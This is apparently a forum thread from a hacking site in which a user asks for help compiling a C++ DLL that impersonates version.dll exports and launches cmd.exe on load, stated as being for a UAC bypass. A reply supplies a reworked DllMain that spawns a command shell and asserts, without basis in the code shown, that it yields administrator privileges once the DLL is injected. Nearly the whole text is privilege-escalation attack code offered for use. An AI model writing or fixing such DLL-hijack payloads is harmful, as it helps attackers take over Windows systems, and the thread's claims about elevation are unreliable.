c ++ code compile problem

1337day · 28 May 2023

Hello trying to compile that code in c++ dev

#include <windows.h>
#include <Winuser.h>

int VerQueryValueW(){
MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
WinExec("C:\\windows\\system32\\cmd.exe", 1);
ExitProcess(0);
return 0;
}
int GetFileVersionInfoSizeW(){
MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
WinExec("C:\\windows\\system32\\cmd.exe", 1);
ExitProcess(0);
return 0;
}
int GetFileVersionInfoW(){
MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
WinExec("C:\\windows\\system32\\cmd.exe", 1);
ExitProcess(0);
return 0;
}

BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{
VerQueryValueW();
GetFileVersionInfoSizeW();
GetFileVersionInfoW();
}

return TRUE;
}

Everytime after that dll is compiled, either it doesnt work or i get this error, any ideas? Trying to run .exe via that dll for uac bypass

maybe you can use

C++:

#include <windows.h>

// Function to spawn a shell with elevated privileges
void SpawnElevatedShell()
{
    STARTUPINFO startupInfo = { sizeof(startupInfo) };
    PROCESS_INFORMATION processInfo;
    
    // Create a new command prompt process with administrator privileges
    if (CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &startupInfo, &processInfo))
    {
        // Close handles to the newly created process (not necessary for demonstration purposes)
        CloseHandle(processInfo.hProcess);
        CloseHandle(processInfo.hThread);
    }
    else
    {
        MessageBox(0, L"Failed to spawn shell.", L"Error", MB_OK | MB_ICONERROR);
    }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        SpawnElevatedShell();
    }
    
    return TRUE;
}

This should allow you to spawn a shell with elevated privileges when the DLL is injected into a process.
